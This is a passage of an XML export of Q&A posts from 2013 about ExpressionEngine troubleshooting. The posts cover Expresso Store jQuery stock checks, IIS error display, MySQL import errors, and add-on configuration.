  <row Id="15104" PostTypeId="2" ParentId="15097" CreationDate="2013-10-29T15:52:31.997" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Blank pages in ExpressionEngine, where the source is also empty, are&#xA;  usually the result of a suppressed PHP error.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are instructions for troubleshooting blank pages in EE:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;With CE Image a white screen would indicate that PHP is running out of memory while resizing the image. The memory limit can be increased in your .htaccess file or php.ini file (depending on your server setup). More detail can be found here: &lt;a href=&quot;http://brandnewbox.co.uk/support/details/increasing_php_memory_limits&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/support/details/increasing_php_memory_limits&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T15:52:31.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15105" PostTypeId="1" AcceptedAnswerId="15114" CreationDate="2013-10-29T15:59:40.650" Score="3" ViewCount="293" Body="&lt;p&gt;I don't have the jQuery/Javascript knowledge to solve this one; it has something to do with events and the order in which the DOM gets manipulated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expresso Store provides dynamic classes to let you output stock level info for a product's variants dynamically (as the user selects different combinations using the modifier &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; menus). So if you have a hat product and it has modifiers called Size and Color, you can show the user that Large Red and Medium Green hats are out of stock, but there are 5 Medium Red hats available. That is, assuming you've set stock levels for every SKU, you can insert this into your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Stock Level for this variant: &amp;lt;span class=&quot;store_product_stock&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;store_product_out_of_stock&quot;&amp;gt;Sorry, that variant is out of stock.&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The contents of the &lt;code&gt;span&lt;/code&gt; in the first paragraph will update dynamically with a number, and the second paragraph will only be shown if the stock level for the variant is 0. This works &lt;em&gt;even on page load&lt;/em&gt;: that is, Store's javascript assesses the stock of the &quot;default&quot; variant and manipulates both paragraphs above appropriately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the thing: for out-of-stock variants, I'd like to not only insert the &quot;out of stock&quot; message but also &lt;strong&gt;disable the add-to-cart button&lt;/strong&gt;, so users can't attempt to add them (which would confusingly take them to an empty cart page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems a shortcut would be to check the visibility of the &quot;out of stock&quot; message, then apply the &lt;code&gt;disabled&lt;/code&gt; attribute to the add-to-cart button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_stock() {&#xA;    if($('.store_product_out_of_stock').is(':visible')) {&#xA;        $('#add-to-bag').attr('disabled','disabled');&#xA;    }&#xA;&#xA;    else {&#xA;        $('#add-to-bag').removeAttr('disabled');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I'd better run that both on page load and on modifier changes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;     check_stock();&#xA;&#xA;    $(&quot;.controls select&quot;).change(function() {&#xA;        check_stock();&#xA;    });&#xA;}); // end doc read&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, this only works when the modifier &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; menus are changed; it doesn't work on page load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite being inside &lt;code&gt;$(document).ready()&lt;/code&gt;, my &lt;code&gt;check_stock()&lt;/code&gt; sees the &lt;code&gt;.store_product_out_of_stock&lt;/code&gt; element as visible even when Store's javascript is hiding it. Once the user starts changing modifier selects, everything works perfectly, but I really need it to work on page load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I then tried checking the numeric value of the variant's stock level:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_stock() {&#xA;&#xA;    var variant_stock =  ($('.store_product_stock_level').text());&#xA;&#xA;    if ( (variant_stock != '') &amp;amp;&amp;amp; +variant_stock &amp;lt; 1 ) {&#xA;        $('#add-to-bag').attr('disabled','disabled');&#xA;    }&#xA;    else {&#xA;        $('#add-to-bag').removeAttr('disabled');&#xA;    }&#xA;    console.log(&quot;variant stock is &quot; + variant_stock);&#xA;    console.log(&quot;numberized stock is &quot; + (+variant_stock));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this has the same problem: the console shows that, on page load, jQuery is only getting an empty string for variant_stock, even though right there on the page (and in the web inspector) I can see Store has correctly inserted the stock level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way, on page load, to make my jQuery wait for Store's javascript to manipulate the DOM before swooping in and checking the stock situation?&lt;/p&gt;&#xA;" OwnerUserId="489" LastEditorUserId="489" LastEditDate="2013-10-29T16:09:13.003" LastActivityDate="2013-10-29T20:13:28.117" Title="Expresso Store: disable &quot;add to cart&quot; when variant is out of stock" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15106" PostTypeId="2" ParentId="11345" CreationDate="2013-10-29T15:59:45.837" Score="1" Body="&lt;p&gt;This issue resulted from the use of radio buttons in the submit form. One radio button selected Paypal and the other selected Stripe as the payment method. There was a bug in the Store code didn't work with this setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guys at Expresso took care of it quickly and included the fix in the next build of Store (before the release of Store 2). If you run into a similar problem, make sure you're running the latest Store build.&lt;/p&gt;&#xA;" OwnerUserId="359" LastActivityDate="2013-10-29T15:59:45.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15107" PostTypeId="1" AcceptedAnswerId="27177" CreationDate="2013-10-29T16:38:40.490" Score="0" ViewCount="222" Body="&lt;p&gt;I am having problems with Solspace Calendar 1.8.4 in EE 2.7.0 using the ICS Update function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a template with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:ics_update calendar_id='179'}{/exp:calendar:ics_update}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've verified that there is an entry with id 179 in the Calendar: Calendars channel that is 'open'. I've also confirmed that the following is in the &quot;URL to iCalendar (.ics) file&quot; field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.google.com/calendar/ical/canadian__en@holiday.calendar.google.com/public/basic.ics&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I browse to the template, I don't see any output at all (logged in as super admin). No items are imported into the calendar. The calendar was initially created without the ics URL filled in, but I have also tried creating a new calendar and adding the URL to the ics file at that time. Neither option has worked at this point, and I am attempting to get this done for my client this week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with the ics_update that can point me in the right direction to get this fixed?&lt;/p&gt;&#xA;" OwnerUserId="2283" LastActivityDate="2014-12-17T19:20:02.027" Title="Solspace Calendar, ICS_Update &amp; Google Calendars" Tags="|solspace-calendar|google|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15108" PostTypeId="1" AcceptedAnswerId="15111" CreationDate="2013-10-29T17:41:49.053" Score="0" ViewCount="77" Body="&lt;p&gt;I have been having issues with setups on IIS NOT returning any informative errors what-so-ever. It seems that everything that happens just triggers a 500 Server Error, which is about as helpful as a swift kick in the groin. I have 3 example images from the exact same error on 3 different environments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Production View:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SZf8n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Production View (Detailed errors on):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5ZoMK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Local View (Running through EasyPHP):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c0jcg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there not some way to process the errors through IIS in a more legible manner? The logs don't show the issues either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I started digging into it and actually looking (oops), the errors are CI/EE messages. How would I go about enabling those instead of standard IIS 500 errors?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-10-29T17:50:44.220" LastActivityDate="2015-08-31T21:21:37.793" Title="IIS Errors and Apache Errors with ExpressionEngine" Tags="|ee2|error|apache|iis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15109" PostTypeId="1" CreationDate="2013-10-29T17:45:45.833" Score="1" ViewCount="45" Body="&lt;p&gt;I like to use Freeform to create ads on my site - but i like to create member at same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I like is that first you enter email, then a ajax checks to see if that email is already enter in system (and the user all ready have a account)&#xA;if not the user proceed to login name, ads title, and all other ads fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible with Freeform Pro?&lt;/p&gt;&#xA;" OwnerUserId="2284" LastEditorUserId="28" LastEditDate="2013-10-29T19:05:49.330" LastActivityDate="2013-10-30T03:04:47.430" Title="Free Form pro to create ads forms" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15110" PostTypeId="1" AcceptedAnswerId="16964" CreationDate="2013-10-29T18:59:06.643" Score="1" ViewCount="236" Body="&lt;p&gt;I've got an MSM installation with 2 sites (Site 1, Site 2). I'm building out a custom control panel menu using Zoo Flexible Admin. I would like my admin to be able to click a custom link in the CP which will:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;switch the MSM site from Site 2 to Site 1&lt;/li&gt;&#xA;&lt;li&gt;take them to a specific channel edit page on Site 1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I can't seem to figure out how to combine these two into a single link, as the CP url for switching sites seems to include a query string of &quot;C=sites&quot; and the link to a specific channel edit page also uses the query string &quot;C=content_edit&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for the season is that Site 1 holds a Member Profile channel (using Profile:Edit). I'd like my admin (who administers both Site 1 and Site 2) to be able to quickly go to this Member Profile channel from Site 2 (avoiding the extra step of having to switch sites first, and avoiding the confusing conversation where I try to explain why the admin must go to Site 1 to change settings for a Site 2 member).&lt;/p&gt;&#xA;" OwnerUserId="1290" LastActivityDate="2013-11-21T20:33:38.463" Title="Creating Custom CP Links to Other Site Channels in MSM with Zoo Flexible Admin" Tags="|control-panel|multi-site-manager|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15111" PostTypeId="2" ParentId="15108" CreationDate="2013-10-29T19:02:56.560" Score="1" Body="&lt;p&gt;For anyone who runs into this, I resolved it by modifying the web.config file to allow errors to &quot;PassThrough&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;httpErrors errorMode=&quot;Custom&quot; existingResponse=&quot;Replace&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;httpErrors errorMode=&quot;Custom&quot; existingResponse=&quot;PassThrough&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This resolved the issue I was facing. However, I wil only turn this on when I see an error to get a better feel of what it is. rather than exposing the full error message to the public.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-29T19:02:56.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15112" PostTypeId="2" ParentId="15090" CreationDate="2013-10-29T19:05:01.267" Score="2" Body="&lt;p&gt;Sounds like a clear bug that needs to be &lt;a href=&quot;https://support.ellislab.com/bugs/submit&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;reported to EllisLab&lt;/strong&gt;&lt;/a&gt;...    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, I suggest using &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Matrix field&lt;/strong&gt;&lt;/a&gt; instead to get your project moving forward.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T19:05:01.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15113" PostTypeId="1" AcceptedAnswerId="15116" CreationDate="2013-10-29T20:04:01.517" Score="1" ViewCount="841" Body="&lt;p&gt;Trying to make a local copy of a live ExpressionEngine site, my process stop when importing the live database. &#xA;I'm using EE 2.5.5 and several key add-ons like Publisher, Playa, Matrix and CE Cache.&#xA;I made the import using Sequel Pro and I just click &quot;Ignore errors&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the control panel and everything seems to be OK in the backend. I noticed though that I have to install all the add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, these are the MySQL errors I got when importing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ERROR in query 52] Duplicate entry '5' for key 'PRIMARY'&#xA;[ERROR in query 72] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 73] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 74] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 75] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 76] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 77] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 78] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 79] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 80] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 81] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 82] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 83] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 84] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 85] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 86] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 87] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 88] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 89] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 90] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 91] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 92] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 93] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 94] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 95] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 96] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 97] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 98] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 99] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 100] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 101] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 102] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 103] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 104] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 105] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 106] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 107] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 108] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 109] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 110] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 111] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 112] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 113] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 114] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 115] Unknown column 'field_id_2' in 'field list'&#xA;[ERROR in query 130] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 141] Duplicate entry '2' for key 'PRIMARY'&#xA;[ERROR in query 143] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 183] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 362] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 365] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 368] Duplicate entry '1-1' for key 'PRIMARY'&#xA;[ERROR in query 370] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 379] Duplicate entry '3' for key 'PRIMARY'&#xA;[ERROR in query 724] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 726] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 737] Unknown column 'sess_start' in 'field list'&#xA;[ERROR in query 739] Unknown column 'site_pages' in 'field list'&#xA;[ERROR in query 743] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 748] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 750] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 752] Duplicate entry '1' for key 'PRIMARY'&#xA;[ERROR in query 786] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My concern is that this is going to create problems in my local site, which I need to be in pretty good shape as next step is going into Git workflow and deploy changes to remote, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sergio &lt;/p&gt;&#xA;" OwnerUserId="532" LastEditorUserId="150" LastEditDate="2013-12-11T20:21:32.027" LastActivityDate="2013-12-11T20:21:32.027" Title="Errors when importing a MySQL database" Tags="|database|mysql|database-error|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15114" PostTypeId="2" ParentId="15105" CreationDate="2013-10-29T20:13:28.117" Score="4" Body="&lt;p&gt;Instead of handling the page ready event, or when your select menus changing, you can set your function to run when the stock level changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a (hidden if necessary) stock level indicator like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;store_product_stock_level&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then handle its change event:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;    $('.store_product_stock_level').change(function() {&#xA;        if ($(this).text() == '0') {&#xA;            $('#add-to-bag').attr('disabled', true);&#xA;        } else {&#xA;            $('#add-to-bag').attr('disabled', false);&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;code&gt;store_product_stock_level&lt;/code&gt; dynamic variable was called &lt;code&gt;store_product_stock&lt;/code&gt; prior to Store 2.0.4 (and &lt;code&gt;store_product_stock&lt;/code&gt; is still available for backwards compatibility).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-29T20:13:28.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15115" PostTypeId="2" ParentId="15071" CreationDate="2013-10-29T20:29:51.240" Score="1" Body="&lt;p&gt;Per our email discussion, the actual problem was that jQuery was not loaded, and there were JS errors in the error console because &lt;code&gt;$&lt;/code&gt; was not defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for anyone else having this problem, it's worth checking your error console and make sure that the javascript is working as expected.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-29T20:29:51.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15116" PostTypeId="2" ParentId="15113" CreationDate="2013-10-29T20:37:23.070" Score="3" Body="&lt;p&gt;You should never have to reinstall addons locally if you are pulling files/DB from production properly. If you are having this problem, the issue is most likely related to how you are doing the migration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest your errors are caused by your exported SQL not including &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.6/en/drop-table.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;DROP TABLE&lt;/strong&gt;&lt;/a&gt; and you aren't manually dropping the tables in the DB before your import. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To test my theory, delete all tables in your local DB and then do the import... Same errors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no errors, then you'll need to manually drop tables before importing or get your import to include the DROP TABLE syntax.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-10-29T23:46:09.783" LastActivityDate="2013-10-29T23:46:09.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15119" PostTypeId="2" ParentId="9687" CreationDate="2013-10-29T21:10:53.150" Score="1" Body="&lt;p&gt;I just had the same thing happen -- had to comment out line 423:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            //$this-&amp;gt;EE-&amp;gt;db-&amp;gt;query('ALTER TABLE exp_playa_relationships ADD parent_var_id INT(6) UNSIGNED AFTER parent_row_id, ADD INDEX (parent_var_id)');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That got me past that step and things got better. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TTFN&#xA;Travis&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2013-10-29T21:10:53.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15120" PostTypeId="1" AcceptedAnswerId="15121" CreationDate="2013-10-29T22:40:59.453" Score="3" ViewCount="1127" Body="&lt;p&gt;I have a text field with formatting set to &quot;none&quot;. In the database, the data for that field is stored exactly as it should be: as plain text with no html tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I drop the field tag into my template, however, the data is output with &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags wrapped around it. Here's an example of a really simple channel entries loop I ran in a test template and got the same result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel='videos'&#xA;  limit='1'&#xA;  require_entry='yes'&#xA;  disable='category_fields|member_data|pagination'&#xA;  status='not closed'&#xA;}&#xA;  {video_url}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;http://myaccount.wistia.com/medias/12345&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site is EE 2.6.1 and I can't upgrade the version at the moment, so suggestions on how to troubleshoot this manually are appreciated. I'm not afraid to run some DB queries if necessary. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-10-29T23:41:49.343" Title="Unformatted Field Data Wrapped in &lt;p&gt; Tags on Output" Tags="|templates|custom-fields|text-formatting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15121" PostTypeId="2" ParentId="15120" CreationDate="2013-10-29T22:51:29.927" Score="12" Body="&lt;p&gt;Sounds like the field's settings have gotten mixed up at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try switching the field to &quot;XHTML&quot; formatting, and select the option to &quot;Update all existing channel entries with your new formatting choice?&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that's done, then switch back to &quot;None&quot; formatting and update all existing again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that will resolve for you.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-10-29T22:51:29.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15122" PostTypeId="2" ParentId="15120" CreationDate="2013-10-29T23:41:49.343" Score="0" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://devot-ee.com/add-ons/hacksaw&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hacksaw addon&lt;/strong&gt;&lt;/a&gt; in your template to remove the formatting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:eehive_hacksaw}&#xA;  {video_url}&#xA;{/exp:eehive_hacksaw}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-29T23:41:49.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15123" PostTypeId="1" AcceptedAnswerId="15125" CreationDate="2013-10-30T02:32:46.570" Score="2" ViewCount="56" Body="&lt;p&gt;Has this been done before?&#xA;I'm in a situation where I need a column hidden from content managers and only visible to the super admin.&lt;/p&gt;&#xA;" OwnerUserId="1792" LastEditorUserId="69" LastEditDate="2013-10-30T11:57:42.177" LastActivityDate="2013-10-30T11:57:42.177" Title="Matrix - Super Admin only columns?" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15124" PostTypeId="2" ParentId="15109" CreationDate="2013-10-30T03:04:47.430" Score="1" Body="&lt;p&gt;You probably want to use something like &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; instead of FreeForm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Freeform Pro is quite powerful, you'd need a lot of hacking to get it to create users and such. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add-ons for the member module, like Zoo Visitor, Profile:Edit and Solspace User tie together the native member module and channel entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They would allow you to have users register and create the ads in their profile entry.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-30T03:04:47.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15125" PostTypeId="2" ParentId="15123" CreationDate="2013-10-30T03:09:58.390" Score="1" Body="&lt;p&gt;This is definitely not core functionality for Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to either write a custom extension that would hide the column from non Super Admins or find another add-on to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution is to use the &lt;a href=&quot;http://devot-ee.com/add-ons/securitee&quot; rel=&quot;nofollow&quot;&gt;Securit:ee&lt;/a&gt; add-on's encryption fieldtype, which allows you to configure which member groups can view the unencrypted data in a field. If you used this fieldtype for your column, then it should only allow the groups you specify to see the data. Of course this is contingent upon your column being a text field and not some other fieldtype.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-30T03:09:58.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15126" PostTypeId="1" AcceptedAnswerId="15194" CreationDate="2013-10-30T05:10:12.860" Score="0" ViewCount="214" Body="&lt;p&gt;I have a Freeform Pro form that emails the acceptance of a print proof. Right now it is just sending an email, but I would like it to also set the Validate Proof channel field to Yes.  I have a hidden field with the value, but I am not sure how to submit that value to the channel entry on submit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my field code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; entry_id=&quot;{segment_3}&quot; class=&quot;new-project&quot;}&#xA;             {exp:freeform:form&#xA;                form_name=&quot;approval_to_print&quot;&#xA;                require_captcha=&quot;no&quot;&#xA;                return=&quot;/client/client_area&quot;&#xA;                notify_admin=&quot;yes&quot;&#xA;                notify=&quot; {project_client_name}{sales_rep show=&quot;email&quot;}{/project_client_name}&quot;&#xA;            }&#xA;&#xA;             &amp;lt;div class=&quot;projectHeader&quot;&amp;gt;&#xA;                &amp;lt;header&amp;gt;&#xA;                {if project_approval == 'Yes'}&#xA;                    &amp;lt;h2&amp;gt;This proof has been approved and cannot be updated&amp;lt;/h2&amp;gt;&#xA;                {if:else}&#xA;                    &amp;lt;h2&amp;gt;Submit Approval&amp;lt;/h2&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;/header&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /.projectHeader --&amp;gt;&#xA;            &amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;                &amp;lt;section&amp;gt;&#xA;                    &amp;lt;div class=&quot;contentWrap 